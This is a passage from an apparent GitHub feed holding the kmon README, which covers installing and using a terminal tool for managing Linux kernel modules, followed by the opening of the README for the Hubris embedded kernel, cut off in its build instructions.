href="https://raw.githubusercontent.com/orhun/kmon/master/#module-information">Module Information</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#displaying-the-dependent-modules">Displaying the dependent modules</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#jumping-to-dependent-modules">Jumping to dependent modules</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#searching-a-module">Searching a module</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#loading-a-module">Loading a module</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#unloading-a-module">Unloading a module</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#blacklisting-a-module">Blacklisting a module</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#reloading-a-module">Reloading a module</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#clearing-the-ring-buffer">Clearing the ring buffer</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#copy--paste">Copy &amp; Paste</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#sortingreversing-the-kernel-modules">Sorting/reversing the kernel modules</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#customizing-the-colors">Customizing the colors</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#supported-colors">Supported colors</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#using-a-custom-color">Using a custom color</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#changing-the-accent-color">Changing the accent color</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#unicode-symbols">Unicode symbols</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#setting-the-terminal-tick-rate">Setting the terminal tick rate</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#roadmap">Roadmap</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#accessibility">Accessibility</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#dependencies">Dependencies</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#features-1">Features</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#testing">Testing</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#resources">Resources</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#about-the-project">About the project</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#articles">Articles</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#in-the-media">In the media</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#gallery">Gallery</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#social-media">Social Media</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#funding">Funding</a> <ul> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#github">GitHub</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#patreon">Patreon</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#open-collective">Open Collective</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#license">License</a></li> <li><a href="https://raw.githubusercontent.com/orhun/kmon/master/#copyright">Copyright</a></li> </ul> <!-- vim-markdown-toc --> <h2>Installation</h2> <p><a href="https://repology.org/project/kmon/versions"><img src="https://repology.org/badge/vertical-allrepos/kmon.svg?sanitize=true" alt="Packaging status"></a></p> <h3>Cargo</h3> <p><strong>kmon</strong> can be installed from <a href="https://crates.io/crates/kmon/">crates.io</a> using Cargo if <a href="https://www.rust-lang.org/tools/install">Rust</a> is installed.</p> <pre><code>cargo install kmon </code></pre> <p>The minimum supported Rust version (MSRV) is <code>1.70.0</code>.</p> <h3>Arch Linux</h3> <p><strong>kmon</strong> can be installed from the Arch Linux <a href="https://www.archlinux.org/packages/community/x86_64/kmon/">official repository</a>.</p> <pre><code>pacman -S kmon </code></pre> <p>There is also a development package on the <a href="https://aur.archlinux.org/packages/kmon-git/">AUR</a>. Use your favorite <a href="https://wiki.archlinux.org/index.php/AUR_helpers">AUR helper</a> to install. For example,</p> <pre><code>paru -S kmon-git </code></pre> <h3>Nixpkgs</h3> <p><strong>kmon</strong> can be installed using <a href="https://nixos.org/nix/">Nix package manager</a> from <code>nixpkgs-unstable</code> channel.</p> <pre><code>nix-channel --add https://nixos.org/channels/nixpkgs-unstable nix-channel --update nixpkgs nix-env -iA nixpkgs.kmon </code></pre> <p>On <a href="https://nixos.org/nixos/">NixOS</a>:</p> <pre><code>nix-channel --add https://nixos.org/channels/nixos-unstable nix-channel --update nixos nix-env -iA nixos.kmon </code></pre> <h3>Alpine Linux</h3> <p><strong>kmon</strong> is available for <a href="https://pkgs.alpinelinux.org/packages?name=kmon&amp;branch=edge">Alpine Edge</a>. It can be installed via <a href="https://wiki.alpinelinux.org/wiki/Alpine_Package_Keeper">apk</a> after enabling the <a href="https://wiki.alpinelinux.org/wiki/Repositories">community repository</a>.</p> <pre><code>apk add kmon </code></pre> <h3>Docker</h3> <p><a href="https://hub.docker.com/r/orhunp/kmon"><img src="https://img.shields.io/github/actions/workflow/status/orhun/kmon/docker.yml?color=000000&amp;label=docker%20hub&amp;style=flat-square" alt="Docker Hub Build Status"></a></p> <pre><code>docker run -it --cap-add syslog orhunp/kmon:tagname </code></pre> <h4>Build</h4> <pre><code>docker build -t kmon . </code></pre> <h4>Run</h4> <pre><code>docker run -it --cap-add syslog kmon </code></pre> <h3>Manual</h3> <ol> <li>Download the latest binary from <a href="https://github.com/orhun/kmon/releases">releases</a> section and pick between <a href="https://en.wikipedia.org/wiki/Glibc">glibc</a> or <a href="https://musl.libc.org/">musl-libc</a> binary.</li> <li>To download the package compiled with <a href="https://en.wikipedia.org/wiki/Glibc">glibc</a> run:</li> </ol> <pre><code>wget https://github.com/orhun/kmon/releases/download/v[VERSION]/kmon-[VERSION]-x86_64-unknown-linux-gnu.tar.gz </code></pre> <ol start="3"> <li>To download the package compiled with <a href="https://musl.libc.org/">musl-libc</a> run:</li> </ol> <pre><code>wget https://github.com/orhun/kmon/releases/download/v[VERSION]/kmon-[VERSION]-x86_64-unknown-linux-musl.tar.gz </code></pre> <ol start="3"> <li>Extract the files.</li> </ol> <pre><code>tar -xvzf kmon-*.tar.gz </code></pre> <ol start="4"> <li>Enter in the new folder.</li> </ol> <pre><code>cd kmon-[VERSION] </code></pre> <ol start="5"> <li>Run the binary.</li> </ol> <pre><code>./kmon </code></pre> <ol start="6"> <li> <p>Move binary to <code>/usr/local/bin/</code> for running it from the terminal using <code>kmon</code> command.</p> </li> <li> <p>Man page and shell completions are generated at build time in <code>target</code> directory.</p> </li> </ol> <h4>Note</h4> <p><a href="https://xcb.freedesktop.org/">libxcb</a> should be installed for using the copy/paste commands of X11.</p> <p>e.g: Install <code>libxcb1-dev</code> package for Debian/Ubuntu<a href="https://github.com/orhun/kmon/issues/2">*</a> and <code>libxcb-devel</code> package for Fedora/openSUSE/Void Linux.</p> <h2>Usage</h2> <pre><code>kmon [OPTIONS] [COMMAND] </code></pre> <h3>Options</h3> <pre><code>-a, --accent-color &lt;COLOR&gt; Set the accent color using hex or color name [default: white] -c, --color &lt;COLOR&gt; Set the main color using hex or color name [default: darkgray] -t, --tickrate &lt;MS&gt; Set the refresh rate of the terminal [default: 250] -r, --reverse Reverse the kernel module list -u, --unicode Show Unicode symbols for the block titles -h, --help Print help information -V, --version Print version information </code></pre> <h3>Commands</h3> <pre><code>sort Sort kernel modules </code></pre> <h4>Sort</h4> <pre><code>kmon sort [OPTIONS] </code></pre> <p><strong>Options:</strong></p> <pre><code>-s, --size Sort modules by their sizes -n, --name Sort modules by their names -d, --dependent Sort modules by their dependent modules -h, --help Print help information </code></pre> <h2>Key Bindings</h2> <table> <thead> <tr> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td><code>[?], F1</code></td> <td>Help</td> </tr> <tr> <td><code>right/left, h/l</code></td> <td>Switch between blocks</td> </tr> <tr> <td><code>up/down, k/j, alt-k/j</code></td> <td>Scroll up/down [selected block]</td> </tr> <tr> <td><code>pgup/pgdown</code></td> <td>Scroll up/down [kernel activities]</td> </tr> <tr> <td><code>&lt;/&gt;</code></td> <td>Scroll up/down [module information]</td> </tr> <tr> <td><code>alt-h/l</code></td> <td>Scroll right/left [kernel activities]</td> </tr> <tr> <td><code>ctrl-t/b, home/end</code></td> <td>Scroll to top/bottom [module list]</td> </tr> <tr> <td><code>alt-e/s</code></td> <td>Expand/shrink the selected block</td> </tr> <tr> <td><code>ctrl-x</code></td> <td>Change the block position</td> </tr> <tr> <td><code>ctrl-l/u, alt-c</code></td> <td>Clear the kernel ring buffer</td> </tr> <tr> <td><code>[d], alt-d</code></td> <td>Show the dependent modules</td> </tr> <tr> <td><code>[1]..[9]</code></td> <td>Jump to the dependent module</td> </tr> <tr> <td><code>[\], tab, backtab</code></td> <td>Show the next kernel information</td> </tr> <tr> <td><code>[/], s, enter</code></td> <td>Search a kernel module</td> </tr> <tr> <td><code>[+], i, insert</code></td> <td>Load a kernel module</td> </tr> <tr> <td><code>[-], u, backspace</code></td> <td>Unload the kernel module</td> </tr> <tr> <td><code>[x], b, delete</code></td> <td>Blacklist the kernel module</td> </tr> <tr> <td><code>ctrl-r, alt-r</code></td> <td>Reload the kernel module</td> </tr> <tr> <td><code>m, o</code></td> <td>Show the options menu</td> </tr> <tr> <td><code>y/n</code></td> <td>Execute/cancel the command</td> </tr> <tr> <td><code>c/v</code></td> <td>Copy/paste</td> </tr> <tr> <td><code>r, F5</code></td> <td>Refresh</td> </tr> <tr> <td><code>q, ctrl-c/d, ESC</code></td> <td>Quit</td> </tr> </tbody> </table> <h2>Features</h2> <h3>Help</h3> <p>Press '<code>?</code>' while running the terminal UI to see key bindings.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76685660-8d155f80-6626-11ea-9aa6-f3eb26a3869f.gif" alt="Help"></p> <h3>Navigating &amp; Scrolling</h3> <p><code>Arrow keys</code> are used for navigating between blocks and scrolling.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76685750-26447600-6627-11ea-99fd-157449c9529f.gif" alt="Navigating &amp; Scrolling"></p> <h4>Scrolling Kernel Activities</h4> <p>Some kernel messages might be long enough for not fitting into the kernel activities block since they are not wrapped. In this situation, kernel activities can be scrolled horizontally with <code>alt-h &amp; alt-l</code> keys. Vertical scrolling mechanism is the same as other blocks.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76685862-fe094700-6627-11ea-9996-4ff1d177baf3.gif" alt="Scrolling Kernel Activities"></p> <h4>Smooth Scrolling</h4> <p><code>alt-j &amp; alt-k</code> keys can be used to scroll kernel activity and module information blocks slowly.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76685907-4aed1d80-6628-11ea-96b7-a5bc0597455b.gif" alt="Smooth Scrolling"></p> <h3>Options Menu</h3> <p><code>m</code> and <code>o</code> keys can be used as a shortcut for kernel management operations. When pressed, an options menu will be provided for managing the currently selected kernel module.</p> <p><img src="https://user-images.githubusercontent.com/24392180/140408275-5c400e39-c1e6-4484-85fe-f39160a842a0.gif" alt="Options Menu"></p> <h3>Block Sizes</h3> <p><code>alt-e &amp; alt-s</code> keys can be used for expanding/shrinking the selected block.</p> <p><img src="https://user-images.githubusercontent.com/24392180/89716231-f8841300-d9b3-11ea-9cea-ee9816174336.gif" alt="Block Sizes"></p> <h3>Block Positions</h3> <p><code>ctrl-x</code> key can be used for changing the positions of blocks.</p> <p><img src="https://user-images.githubusercontent.com/24392180/90258934-e68dee80-de51-11ea-951a-ec5a301608a6.gif" alt="Block Positions"></p> <h3>Kernel Information</h3> <p>Use one of the <code>\, tab, backtab</code> keys to switch between kernel release, version and platform information.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76686943-9f949680-6630-11ea-9045-a8f83313faa1.gif" alt="Kernel Information"></p> <h3>Module Information</h3> <p>The status of a kernel module is shown on selection.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76685957-b931e000-6628-11ea-8657-76047deee681.gif" alt="Module Information"></p> <h4>Displaying the dependent modules</h4> <p>Use one of the <code>d, alt-d</code> keys to show all the dependent modules of the selected module.</p> <p><img src="https://user-images.githubusercontent.com/24392180/80925098-d6b43800-8d95-11ea-8b41-da7d93fd12f8.gif" alt="Displaying the dependent modules"></p> <h4>Jumping to dependent modules</h4> <p>For jumping to a dependent kernel module from its parent module, <code>number keys</code> (1-9) can be used for specifying the index of the module on the <em>Used By</em> column.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76685972-eaaaab80-6628-11ea-94dd-630e07827949.gif" alt="Dependency Information"></p> <h3>Searching a module</h3> <p>Switch to the search area with arrow keys or using one of the <code>/, s, enter</code> and provide a search query for the module name.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76686001-23e31b80-6629-11ea-9e9a-ff92c6a05cdd.gif" alt="Searching a module"></p> <h3>Loading a module</h3> <p>For adding a module to the Linux kernel, switch to load mode with one of the <code>+, i, insert</code> keys and provide the name of the module to load. Then confirm/cancel the execution of the load command with <code>y/n</code>.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76686027-64429980-6629-11ea-852f-1316ff08ec80.gif" alt="Loading a module"></p> <p>The command that used for loading a module:</p> <pre><code>modprobe &lt;module_name&gt; || insmod &lt;module_name&gt;.ko </code></pre> <h3>Unloading a module</h3> <p>Use one of the <code>-, u, backspace</code> keys to remove the selected module from the Linux kernel.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76686045-8b996680-6629-11ea-9d8c-c0f5b367e269.gif" alt="Unloading a module"></p> <p>The command that used for removing a module:</p> <pre><code>modprobe -r &lt;module_name&gt; || rmmod &lt;module_name&gt; </code></pre> <h3>Blacklisting a module</h3> <p><a href="https://wiki.archlinux.org/index.php/Kernel_module#Blacklisting">Blacklisting</a> is a mechanism to prevent the kernel module from loading. To blacklist the selected module, use one of the <code>x, b, delete</code> keys and confirm the execution.</p> <p><img src="https://user-images.githubusercontent.com/24392180/77003935-48176300-696f-11ea-9047-41f6a934be6e.gif" alt="Blacklisting a module"></p> <p>The command that used for blacklisting a module:</p> <pre><code>if ! grep -q &lt;module_name&gt; /etc/modprobe.d/blacklist.conf; then echo 'blacklist &lt;module_name&gt;' &gt;&gt; /etc/modprobe.d/blacklist.conf echo 'install &lt;module_name&gt; /bin/false' &gt;&gt; /etc/modprobe.d/blacklist.conf fi </code></pre> <h3>Reloading a module</h3> <p>Use <code>ctrl-r</code> or <code>alt-r</code> key for reloading the selected module.</p> <p><img src="https://user-images.githubusercontent.com/24392180/80925109-f3507000-8d95-11ea-9004-4063907f0cfc.gif" alt="Reloading a module"></p> <p>The command that used for reloading a module:</p> <pre><code>modprobe -r &lt;module_name&gt; || rmmod &lt;module_name&gt; &amp;&amp; modprobe &lt;module_name&gt; || insmod &lt;module_name&gt;.ko </code></pre> <h3>Clearing the ring buffer</h3> <p>The kernel ring buffer can be cleared with using one of the <code>ctrl-l/u, alt-c</code> keys.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76686162-87217d80-662a-11ea-9ced-36bb1e7a942b.gif" alt="Clearing the ring buffer"></p> <pre><code>dmesg --clear </code></pre> <h3>Copy &amp; Paste</h3> <p><code>c/v</code> keys are set for copy/paste operations.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76686463-986b8980-662c-11ea-9762-9137b32c5cca.gif" alt="Copy &amp; Paste"></p> <p>Use <code>ctrl-c/ctrl-v</code> for copying and pasting while in input mode.</p> <h3>Sorting/reversing the kernel modules</h3> <p><code>sort</code> subcommand can be used for sorting the kernel modules by their names, sizes or dependent modules.</p> <pre><code>kmon sort --name kmon sort --size kmon sort --dependent </code></pre> <p><img src="https://user-images.githubusercontent.com/24392180/78900376-70324780-7a7f-11ea-813e-78972fc3c880.gif" alt="Sorting the kernel modules"></p> <p>Also the <code>-r, --reverse</code> flag is used for reversing the kernel module list.</p> <pre><code>kmon --reverse </code></pre> <p><img src="https://user-images.githubusercontent.com/24392180/78901094-812f8880-7a80-11ea-85cf-2a0c6ac6354a.gif" alt="Reversing the kernel modules"></p> <h3>Customizing the colors</h3> <p>kmon uses the colors of the terminal as default but the highlighting color could be specified with <code>-c, --color</code> option. Alternatively, default text color can be set via <code>-a, --accent-color</code> option.</p> <h4>Supported colors</h4> <p>Supported terminal colors are <code>black, red, green, yellow, blue, magenta, cyan, gray, darkgray, lightred, lightgreen, lightyellow, lightblue, lightmagenta, lightcyan, white</code>.</p> <pre><code>kmon --color red </code></pre> <p><img src="https://user-images.githubusercontent.com/24392180/76773518-a697e200-67b3-11ea-838b-6816193b88c5.gif" alt="Supported Colors"></p> <h4>Using a custom color</h4> <p>Provide a hexadecimal value for the color to use.</p> <pre><code>kmon --color 19683a </code></pre> <p><img src="https://user-images.githubusercontent.com/24392180/76772858-a0edcc80-67b2-11ea-86ea-9b138a0b937b.gif" alt="Using a custom color"></p> <h4>Changing the accent color</h4> <p>Default text color might cause readability issues on some themes that have transparency. <code>-a, --accent-color</code> option can be used similarly to the <code>-c, --color</code> option for overcoming this issue.</p> <pre><code>kmon --color 6f849c --accent-color e35760 </code></pre> <p><img src="https://user-images.githubusercontent.com/24392180/89355576-61be0a80-d6c4-11ea-9693-f152edf5be38.gif" alt="Changing the accent color"></p> <h3>Unicode symbols</h3> <p>Use <code>-u, --unicode</code> flag for showing Unicode symbols for the block titles.</p> <pre><code>kmon --unicode </code></pre> <p><img src="https://user-images.githubusercontent.com/24392180/76711734-74d73a80-6723-11ea-8eae-180e69a5395c.gif" alt="Unicode symbols"></p> <h3>Setting the terminal tick rate</h3> <p><code>-t, --tickrate</code> option can be used for setting the refresh interval of the terminal UI in milliseconds.</p> <p><img src="https://user-images.githubusercontent.com/24392180/76807925-1aa7a980-67f7-11ea-9af5-bb80849f5629.gif" alt="Setting the terminal tick rate"></p> <h2>Roadmap</h2> <p>kmon aims to be a standard tool for Linux kernel management while supporting most of the Linux distributions.</p> <h3>Accessibility</h3> <p>For achieving this goal, kmon should be accessible from different package managers such as <a href="https://snapcraft.io/">Snap</a><a href="https://forum.snapcraft.io/t/unable-to-load-modules-to-kernel-and-get-module-information/16151">*</a> and <a href="https://rpm.org/">RPM</a>.</p> <h3>Dependencies</h3> <p>It is required to have the essential tools like <a href="https://en.wikipedia.org/wiki/Dmesg">dmesg</a> and <a href="https://www.linux.org/docs/man8/kmod.html">kmod</a> on the system for kmon to work as expected. Thus the next step would be using just the system resources for these functions.</p> <h3>Features</h3> <p>Management actions about the Linux kernel should be applicable in kmon for minimizing the dependence on to command line and other tools.</p> <h3>Testing</h3> <p>kmon should be tested and reported on different architectures for further development and support.</p> <h2>Resources</h2> <h3>About the project</h3> <ul> <li><a href="https://github.com/orhun/kmon/raw/master/CODE_OF_CONDUCT.md">Code of conduct</a></li> <li><a href="https://github.com/orhun/kmon/raw/master/CONTRIBUTING.md">Contributing</a></li> <li><a href="https://github.com/orhun/kmon/raw/master/RELEASE.md">Creating a release</a></li> </ul> <h3>Articles</h3> <ul> <li><a href="https://cromwell-intl.com/open-source/linux-kernel-details.html">Exploring the Linux Kernel by Bob Cromwell</a></li> <li><a href="https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2018/06/02/linux-loadable-module">Anatomy of the Linux loadable kernel module by Terenceli</a></li> <li><a href="https://elinux.org/images/8/89/Managing_Kernel_Modules_With_kmod.pdf">Managing kernel modules with kmod by Lucas De Marchi</a></li> </ul> <h3>In the media</h3> <ul> <li><a href="https://ostechnix.com/manage-and-monitor-linux-kernel-modules-with-kmon/">Manage And Monitor Linux Kernel Modules With Kmon</a> ( OSTechNix)</li> <li><a href="https://www.youtube.com/watch?v=lukxf6CnR2o">Kmon The Linux Kernel Management And Monitoring Software</a> (Brodie Robertson on YouTube)</li> </ul> <h3>Gallery</h3> <table> <thead> <tr> <th align="center">Fedora 31</th> <th align="center">Debian 10</th> <th align="center">Manjaro 19</th> </tr> </thead> <tbody> <tr> <td align="center"><img src="https://user-images.githubusercontent.com/24392180/76520554-27817180-6474-11ea-9966-e564f38c8a6a.png" alt="kmon on fedora"></td> <td align="center"><img src="https://user-images.githubusercontent.com/24392180/76514129-79bc9580-6468-11ea-9013-e32fbbdc1108.png" alt="kmon on debian"></td> <td align="center"><img src="https://user-images.githubusercontent.com/24392180/76940351-1f5d8200-690b-11ea-8fe9-1d751fe102c5.png" alt="kmon on manjaro"></td> </tr> </tbody> </table> <table> <thead> <tr> <th align="center">Ubuntu 18.04</th> <th align="center">openSUSE</th> <th align="center">Void Linux</th> </tr> </thead> <tbody> <tr> <td align="center"><img src="https://user-images.githubusercontent.com/24392180/76690341-18571b00-6650-11ea-85c9-3f511c054194.png" alt="kmon on ubuntu"></td> <td align="center"><img src="https://user-images.githubusercontent.com/24392180/77414512-38b27280-6dd2-11ea-888c-9bf6f7245387.png" alt="kmon on opensuse"></td> <td align="center"><img src="https://user-images.githubusercontent.com/24392180/77417004-c9d71880-6dd5-11ea-82b2-f6c7df9a05c3.png" alt="kmon on voidlinux"></td> </tr> </tbody> </table> <h3>Social Media</h3> <ul> <li>Follow <a href="https://twitter.com/kmonitor_">@kmonitor_</a> on Twitter</li> <li>Follow the <a href="https://orhun.dev/">author</a>: <ul> <li><a href="https://github.com/orhun">@orhun</a> on GitHub</li> <li><a href="https://twitter.com/orhunp_">@orhunp_</a> on Twitter</li> </ul> </li> </ul> <h2>Funding</h2> <h3>GitHub</h3> <p>Support the development of my projects by supporting me on <a href="https://github.com/sponsors/orhun">GitHub Sponsors</a>.</p> <h3>Patreon</h3> <p><a href="https://www.patreon.com/join/orhunp"><img src="https://user-images.githubusercontent.com/24392180/77826872-e7c8b400-711a-11ea-8f51-502e3a4d46b9.png" alt="Patreon Button"></a></p> <h3>Open Collective</h3> <p><a href="https://opencollective.com/kmon"><img src="https://img.shields.io/opencollective/backers/kmon?color=000000&amp;style=flat-square" alt="Open Collective backers"></a> <a href="https://opencollective.com/kmon"><img src="https://img.shields.io/opencollective/sponsors/kmon?color=000000&amp;style=flat-square" alt="Open Collective sponsors"></a></p> <p>Support the open source development efforts by becoming a <a href="https://opencollective.com/kmon/contribute/backer-15060/checkout">backer</a> or <a href="https://opencollective.com/kmon/contribute/sponsor-15061/checkout">sponsor</a>.</p> <p><a href="https://opencollective.com/kmon/donate"><img src="https://user-images.githubusercontent.com/24392180/77827001-d0d69180-711b-11ea-817e-855ec4cf56f7.png" alt="Open Collective Button"></a></p> <h2>License</h2> <p>GNU General Public License (<a href="https://www.gnu.org/licenses/gpl.txt">3.0</a>)</p> <h2>Copyright</h2> <p>Copyright © 2020-2023, <a href="mailto:orhunparmaksiz@gmail.com">Orhun Parmaksız</a></p> - oxidecomputer/hubris - 2023-10-29T01:41:52Z - tag:github.com,2023-10-29:/oxidecomputer/hubris - - <p>A lightweight, memory-protected, message-passing kernel for deeply embedded systems.</p><hr><h1>Hubris</h1> <p><a href="https://github.com/oxidecomputer/hubris/actions?query=workflow%3Abuild"><img src="https://github.com/oxidecomputer/hubris/workflows/build/badge.svg?sanitize=true" alt="build"></a></p> <p>Hubris is a microcontroller operating environment designed for deeply-embedded systems with reliability requirements. Its design was initially proposed in RFD41, but has evolved considerably since then.</p> <h1>Learning</h1> <p>Developer documentation is in Asciidoc in the <code>doc/</code> directory. It gets rendered via GitHub pages, and is available at <a href="https://oxidecomputer.github.io/hubris">https://oxidecomputer.github.io/hubris</a> .</p> <h1>Navigating</h1> <p>The repo is laid out as follows.</p> <ul> <li> <p><code>app/</code> is where the top-level binary crates for applications live, e.g. <code>app/gimlet</code> contains the firmware crate for Gimlet. Generally speaking, if you want to build an image for something, look here.</p> </li> <li> <p><code>build/</code> contains the build system and supporting crates.</p> </li> <li> <p><code>chip/</code> contains peripheral definitions and debugging support files for individual microcontrollers.</p> </li> <li> <p><code>doc/</code> contains developer documentation.</p> </li> <li> <p><code>drv/</code> contains drivers, a mix of simple driver lib crates and fully-fledged server bin crates. Current convention is that <code>drv/SYSTEM-DEVICE</code> is the driver for <code>DEVICE</code> on <code>SYSTEM</code> (where <code>SYSTEM</code> is usually an SoC name), whereas <code>drv/SYSTEM-DEVICE-server</code> is the server bin crate.</p> </li> <li> <p><code>idl/</code> contains interface definitions written in <a href="https://github.com/oxidecomputer/idolatry">Idol</a></p> </li> <li> <p><code>lib/</code> contains assorted utility libraries we've written. If you need to make a reusable crate that doesn't fit into one of the other directories, it probably belongs here.</p> </li> <li> <p><code>stage0/</code> is the bootloader/hypovisor, primarily for LPC55.</p> </li> <li> <p><code>support/</code> contains some interface and programming support files, like fake certificates and programmer firmware images.</p> </li> <li> <p><code>sys/</code> contains the "system" bits of Hubris, namely the kernel (<code>sys/kern</code>), the shared crate defining the ABI (<code>sys/abi</code>), and the user library used by tasks (<code>sys/userlib</code>).</p> </li> <li> <p><code>task/</code> contains reusable tasks that aren't drivers. The distinction between things that live in <code>task</code> vs in <code>drv/something-server</code> is fuzzy. Use your judgement.</p> </li> <li> <p><code>test/</code> contains the test framework and binary crates for building it for various boards.</p> </li> <li> <p><code>website/</code> contains the source code for the <a href="https://hubris.oxide.computer/">hubris website</a></p> </li> </ul> <h1>Developing</h1> <p>We currently support Linux and Windows as first-tier platforms. macOS is also used on a daily basis by Oxide employees, but is not tested in CI. The build probably also works on Illumos; if anyone would like to step up to maintain support and a continuous build for Illumos or macOS, we'd love the help.</p> <p>To submit changes for review, push them to a branch in a fork and submit a pull request to merge that branch into <code>master</code>. For details, see <a href="https://raw.githubusercontent.com/oxidecomputer/hubris/master/CONTRIBUTING.md"><code>CONTRIBUING.md</code></a>.</p> <h2>Prereqs</h2> <p>You will need:</p> <ul> <li> <p>A <code>rustup</code>-based toolchain install. <code>rustup</code> will take care of automatically installing our pinned toolchain version, and the cross-compilation targets, when you first try to build.</p> </li> <li> <p><code>openocd</code> (ideally 0.11) or (if using the LPC55) <code>pyocd</code> (0.27 or later). Note that the 0.10 release of OpenOCD predates the STLink v3. People are using various post-0.10, pre-0.11 builds provided by system package managers, with some success, but if your system isn't packaging 0.11 yet, pester them. If you're going to use Homebrew on macOS to install OpenOCD, you need to use <code>brew install --head openocd</code> to build the tip of the main branch rather than using the latest binary release. If you need to build from source, you can find <a href="https://sourceforge.net/projects/openocd/files/openocd/0.11.0/">OpenOCD v0.11.0 here</a>. When running <code>./configure</code>, make sure that you see that the <code>ST-Link Programmer</code> is set enabled (which should be the default).</p> </li> <li> <p><a href="https://libusb.info/">libusb</a>, typically found from your system's package manager as <code>libusb-1.0.0</code> or similar.</p> </li> <li> <p><a href="https://www.intra2net.com/en/developer/libftdi/">libfdti1</a>, found as <code>libftdi1-dev</code> or similar.</p> </li> <li> <p>If you will be running GDB, you should install <code>arm-none-eabi-gdb</code>. This is typically from your system's package manager with a package name like <code>arm-none-eabi-gdb</code> or <code>gdb-multiarch</code>. macOS users can run <code>brew install --cask gcc-arm-embedded</code> to install the <a href="https://developer.arm.com/tools-and-software/open-source-software/developer-tools/gnu-toolchain/gnu-rm">official ARM binaries</a>.</p> </li> <li> <p>The Hubris debugger, <a href="https://github.com/oxidecomputer/humility">Humility</a>. Note that <code>cargo install</code> interacts strangely with the <code>rust-toolchain.toml</code> file present in the root of this repository; if you run the following command verbatim to install Humility, do so from a different directory:</p> <ul> <li><code>cargo install --git https://github.com/oxidecomputer/humility.git --locked humility</code></li> </ul> </li> </ul> <h3>Windows</h3> <p>There are three alternative ways to install OpenOCD:</p> <p>See <a href="https://openocd.org/pages/getting-openocd.html">here</a> for getting the source of <code>openocd</code> or get unofficial binaries.</p> <p>Alternatively, you can install with <a href="https://chocolatey.org/install">chocolatey</a>:</p> <pre><code class="language-console">&gt; choco install openocd </code></pre> <p>Lastly, you could install <code>openocd</code> with <a href="https://scoop.sh/">scoop</a>:</p> <pre><code class="language-console">&gt; scoop bucket add extras &gt; scoop install openocd </code></pre> <p><strong>Note:</strong> <code>openocd</code> installed via <code>scoop</code> has proven problematic for some users. If you experience problems, try installing via <code>choco</code> or from source (see above).</p> <p>To use the ST-Link programmer, you'll probably need to install <a href="https://www.st.com/en/development-tools/stsw-link009.html">this driver</a>.</p> <p>It's not necessary to build and run Hubris, but if you want to communicate over a serial link (and that's not supported by your terminal), you'll want to use PuTTY; <a href="https://pbxbook.com/voip/sputty.html">this guide</a> does a good job of explaining how.</p> <h2>Build</h2> <p><strong>We do not use <code>cargo build</code> or <code>cargo run</code> directly because they are too inflexible for our purposes.</strong> We have a complex multi-architecture build, which is a bit beyond them.</p> <p>Instead, the repo includes a Cargo extension called <code>xtask</code> that namespaces our custom build commands.</p> <p><code>cargo xtask dist TOMLFILE</code> builds a distribution image for the application described by the TOML file.</p> <ul> <li><code>cargo xtask dist app/demo-stm32f4-discovery/app.toml</code> - stm32f4-discovery</li> <li><code>cargo xtask dist app/demo-stm32f4-discovery/app-f3.toml</code> - stm32f3-discovery</li> <li><code>cargo xtask dist app/lpc55xpresso/app.toml</code> - lpcxpresso55s69</li> <li><code>cargo xtask dist app/demo-stm32g0-nucleo/app-g031.toml</code> - stm32g031</li> <li><code>cargo xtask dist app/demo-stm32g0-nucleo/app-g070.toml</code> - stm32g070</li> <li><code>cargo xtask dist app/demo-stm32g0-nucleo/app-g0b1.toml</code> - stm32g0b1</li> <li><code>cargo xtask dist app/demo-stm32h7-nucleo/app-h743.toml</code> - nucleo-ih743zi2</li> <li><code>cargo xtask dist app/demo-stm32h7-nucleo/app-h753.toml</code> - nucleo-ih753zi</li> <li><code>cargo xtask dist app/gemini-bu/app.toml</code> - Gemini bringup board</li> </ul> <h2>Iterating</h2> <p>Because a full image build can take 